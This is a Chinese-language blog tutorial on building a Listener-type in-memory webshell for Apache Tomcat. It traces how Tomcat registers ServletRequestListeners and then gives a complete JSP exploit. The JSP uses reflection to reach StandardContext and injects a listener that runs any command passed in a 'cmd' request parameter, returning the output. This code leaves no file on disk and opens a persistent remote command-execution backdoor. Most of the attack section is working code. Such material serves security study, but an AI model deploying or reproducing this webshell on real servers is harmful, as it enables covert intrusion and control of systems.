前言

之前学了Filter型的内存马,内存马还有其他几种,现在都需要看一下,这次是Listener型内存马,其实内存马的实现都是实现一个动态注册Filter或者Listener的过程(后面还有其他类型的),在其中编写恶意方法,在调用的时候执行,实现无文件落地执行命令。

Listener的注册流程

在Tomcat中注册一个Listener,先编写一个Listener,然后看它的被创建过程。Listener的业务对象都要实现EventListener接口,先查看下这个接口,其实接口中是没什么内容的,那就看它的实现类中,大概几百个实现类,首先确定的是,我们需要找到一个类,每次请求都会调用的。需要找的是Servlet关键词,下面的ServletRequestListener就比较适合。

🍭Listen型内存马 - 图1

进一步去查看下这个类,这里的requestDestoryed()应该是一个销毁的方法,requestInitialized()估计就是创建的时候调用的监听方法了。

🍭Listen型内存马 - 图2

自己写一个例子看看,调用的时候是否进行调用。

  1. package com.example.listenjsp;
  2. import javax.servlet.ServletRequestEvent;
  3. import javax.servlet.ServletRequestListener;
  4. import javax.servlet.annotation.WebServlet;
  5. public class ListenerServlet implements ServletRequestListener {
  6. public ListenerServlet(){}
  7. @Override
  8. public void requestDestroyed(ServletRequestEvent sre) {
  9. }
  10. @Override
  11. public void requestInitialized(ServletRequestEvent sre) {
  12. System.out.println("调用Listener");
  13. }
  14. }

需要在web.xml中进行配置

  1. <listener>
  2. <listener-class>com.example.listenjsp.ListenerServlet</listener-class>
  3. </listener>

启动项目,并访问该路由。

🍭Listen型内存马 - 图3

然后就是要搞清楚它的注册过程。这里的话,在发出请求的时候,ServletRequestEvent应该是接收Servlet请求的参数(看名字),然后就可以看到默认调用的获取Servlet请求的方法是getServletRequest()

🍭Listen型内存马 - 图4

然后进入这个方法,看它的逻辑,实际上也没什么内容,需要注意的一点就是这个request变量是个用final和transient修饰的,不仅表示不能修改,而且还是不参与反序列化的一个变量。

🍭Listen型内存马 - 图5

下个断点调试下,看了下是RequestFacade这个类,但是不知道在哪里,先看看。发现点击无法跳转,应该是忘了导入包了。

🍭Listen型内存马 - 图6

导入tomcat-catalina的初始包,就可以找到了。注意不要导入spring-boot中的来使用,调试会有问题。

  1. <dependency>
  2. <groupId>org.apache.tomcat</groupId>
  3. <artifactId>tomcat-catalina</artifactId>
  4. <version>8.5.82</version>
  5. </dependency>

🍭Listen型内存马 - 图7

进去看看,这个类怎么写的,找到了我们需要的request在这里定义。还是个protect修饰的,也可以利用反射进行获取。

🍭Listen型内存马 - 图8

反射获取逻辑代码

  1. RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
  2. Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
  3. requestField.setAccessible(true);
  4. Request request = (Request) requestField.get(requestFacade);

获取后,后续编写执行命令的部分。

结果的话,是需要一个可以正常访问的页面的。这样Listener才可以正常注册,去监听,并携带恶意代码执行。

🍭Listen型内存马 - 图9

代码

  1. import org.apache.catalina.connector.Request;
  2. import org.apache.catalina.connector.RequestFacade;
  3. import org.apache.catalina.connector.Response;
  4. import javax.servlet.ServletRequestEvent;
  5. import javax.servlet.ServletRequestListener;
  6. import java.io.InputStream;
  7. import java.lang.reflect.Field;
  8. public class ListenerServlet implements ServletRequestListener {
  9. @Override
  10. public void requestDestroyed(ServletRequestEvent sre) {
  11. }
  12. @Override
  13. public void requestInitialized(ServletRequestEvent sre) {
  14. String cmd;
  15. try {
  16. cmd = sre.getServletRequest().getParameter("cmd");
  17. RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
  18. Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
  19. requestField.setAccessible(true);
  20. Request request = (Request) requestField.get(requestFacade);
  21. Response response = request.getResponse();
  22. if (cmd != null){
  23. InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  24. int i = 0;
  25. byte[] bytes = new byte[1024];
  26. while ((i=inputStream.read(bytes))!=-1){
  27. response.getWriter().write(new String(bytes, 0, i));
  28. response.getWriter().write("\r\n");
  29. }
  30. }
  31. } catch (Exception e) {
  32. e.printStackTrace();
  33. }
  34. }
  35. }

Listener注册流程分析

实际上在这里下个断点,鼠标点击跟进的话,会发现可以看到一个类,一个接口。分别是自定义的类实现的接口,另一个也是实现了ServletRequestListener接口

🍭Listen型内存马 - 图10

fireRequestInitEvent中调用了requestInitialized在后面,先看看这个方法前面的逻辑,做了些什么。这里可以看到是调用getApplicationEventListeners方法获取了我们自定义的Listener的名称。

🍭Listen型内存马 - 图11

然后走到这里,调用自定义的Listener中重写的requestInitialized方法,去执行命令。

🍭Listen型内存马 - 图12

然后再次下断点,在命令执行和Class处

🍭Listen型内存马 - 图13

调试,看下调用栈

  1. <init>:12, ListenerServlet (com.example.listenjsp)
  2. newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
  3. newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
  4. newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
  5. newInstance:423, Constructor (java.lang.reflect)
  6. newInstance:150, DefaultInstanceManager (org.apache.catalina.core)
  7. listenerStart:4686, StandardContext (org.apache.catalina.core)
  8. ....

listenerStart这个地方很明显是初始化Listener的,跟进去看看,是发现这里有个findApplicationListeners的方法是获取listener的,将获取到的listener整合到数组中。这里只有我创建的一个。应该是按照名字来查找的,具体的后面看看find的逻辑。

🍭Listen型内存马 - 图14

其实跟进去看的话,这个findApplicationListener是一个字符串数组。

🍭Listen型内存马 - 图15

至于Servlet获取Listener的方法,应当是读取web.xml这个配置文件,并将内容存入applicationListeners[]中。至于读取web.xml的,回头再看吧。

然后将这个获取到的listener,然后进行初始化,实例化出对象。

🍭Listen型内存马 - 图16

然后继续向下看,根据Listener不同的类型,将其加入不同的数组中,这里我们的Listener是一个监控携带请求的,所以应当归属于第一个:eventListener

🍭Listen型内存马 - 图17

然后继续走到这里,调用getApplicationEventListeners方法

  1. eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));

这个方法的作用是获取applicationEventListenersList的属性,得到已经注册的Listener

🍭Listen型内存马 - 图18

大概过程就是:从配置文件中读取Listener ——>将其保存在一个数组中,并进行实例化。——>加载Listener——>再次读取,从数组对象中逐个读取——>对于每一个Listener,执行requestInitialized()

编写Listener内存马EXP

先分步编写,分别是恶意代码执行命令部分、创建Listener部分、加载Listener部分

首先执行命令的部分前面的就可以使用

  1. String cmd;
  2. try {
  3. cmd = sre.getServletRequest().getParameter("cmd");
  4. RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
  5. Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
  6. requestField.setAccessible(true);
  7. Request request = (Request) requestField.get(requestFacade);
  8. Response response = request.getResponse();
  9. if (cmd != null){
  10. InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  11. int i = 0;
  12. byte[] bytes = new byte[1024];
  13. while ((i=inputStream.read(bytes))!=-1){
  14. response.getWriter().write(new String(bytes, 0, i));
  15. response.getWriter().write("\r\n");
  16. }
  17. }
  18. } catch (Exception e) {
  19. e.printStackTrace();
  20. }

基本在初始化和创建的部分都在StandardContext类中,所以要先获取这个类的对象。由于是需要获取Request对象去调用getServletContext方法,直接编写Java文件还需要去引入Request并且实例化一个对象,而JSP内置Reuqest,不需要这一步。所以基本上大家的做法都是直接在JSP中进行编写。

  1. <%
  2. ServletContext servletContext = request.getServletContext();
  3. Field applicationContextField = servletContext.getClass().getDeclaredField("context");
  4. applicationContextField.setAccessible(true);
  5. ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
  6. Field standardContextField = applicationContext.getClass().getDeclaredField("context");
  7. standardContextField.setAccessible(true);
  8. StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
  9. Object[] objects = standardContext.getApplicationEventListeners();
  10. List<Object> listeners = Arrays.asList(objects);
  11. List<Object> arrayList = new ArrayList(listeners);
  12. arrayList.add(new ListenerShell());
  13. standardContext.setApplicationEventListeners(arrayList.toArray());
  14. %>

前后拼凑一下就可以了

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.apache.catalina.core.StandardContext" %>
  3. <%@ page import="java.util.List" %>
  4. <%@ page import="java.util.Arrays" %>
  5. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  6. <%@ page import="java.lang.reflect.Field" %>
  7. <%@ page import="java.util.ArrayList" %>
  8. <%@ page import="java.io.InputStream" %>
  9. <%@ page import="org.apache.catalina.connector.Request" %>
  10. <%@ page import="org.apache.catalina.connector.Response" %>
  11. <%!
  12. class ListenerShell implements ServletRequestListener {
  13. @Override
  14. public void requestInitialized(ServletRequestEvent sre) {
  15. String cmd;
  16. try {
  17. cmd = sre.getServletRequest().getParameter("cmd");
  18. org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
  19. Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
  20. requestField.setAccessible(true);
  21. Request request = (Request) requestField.get(requestFacade);
  22. Response response = request.getResponse();
  23. if (cmd != null){
  24. InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  25. int i = 0;
  26. byte[] bytes = new byte[1024];
  27. while ((i=inputStream.read(bytes)) != -1){
  28. response.getWriter().write(new String(bytes,0,i));
  29. response.getWriter().write("\r\n");
  30. }
  31. }
  32. }catch (Exception e){
  33. e.printStackTrace();
  34. }
  35. }
  36. @Override
  37. public void requestDestroyed(ServletRequestEvent sre) {
  38. }
  39. }
  40. %>
  41. <%
  42. ServletContext servletContext = request.getServletContext();
  43. Field applicationContextField = servletContext.getClass().getDeclaredField("context");
  44. applicationContextField.setAccessible(true);
  45. ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
  46. Field standardContextField = applicationContext.getClass().getDeclaredField("context");
  47. standardContextField.setAccessible(true);
  48. StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
  49. Object[] objects = standardContext.getApplicationEventListeners();
  50. List<Object> listeners = Arrays.asList(objects);
  51. List<Object> arrayList = new ArrayList(listeners);
  52. arrayList.add(new ListenerShell());
  53. standardContext.setApplicationEventListeners(arrayList.toArray());
  54. %>

🍭Listen型内存马 - 图19

总结

没有Filter内存马复杂,逻辑比较简单,就是动态注册一个Listener就可以。Filter与Listener两者不一样的地方在于,Filter是任意指定路径和文件,不存在的也可以进行命令执行,而Listener不一样,它是必须在访问正常的情况下,进行监听,才可以进行调用,进而执行命令。

参考资料

http://wjlshare.com/archives/1651

https://goodapple.top/archives/1355

https://drun1baby.github.io/2022/08/27/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-04-Tomcat-%E4%B9%8B-Listener-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC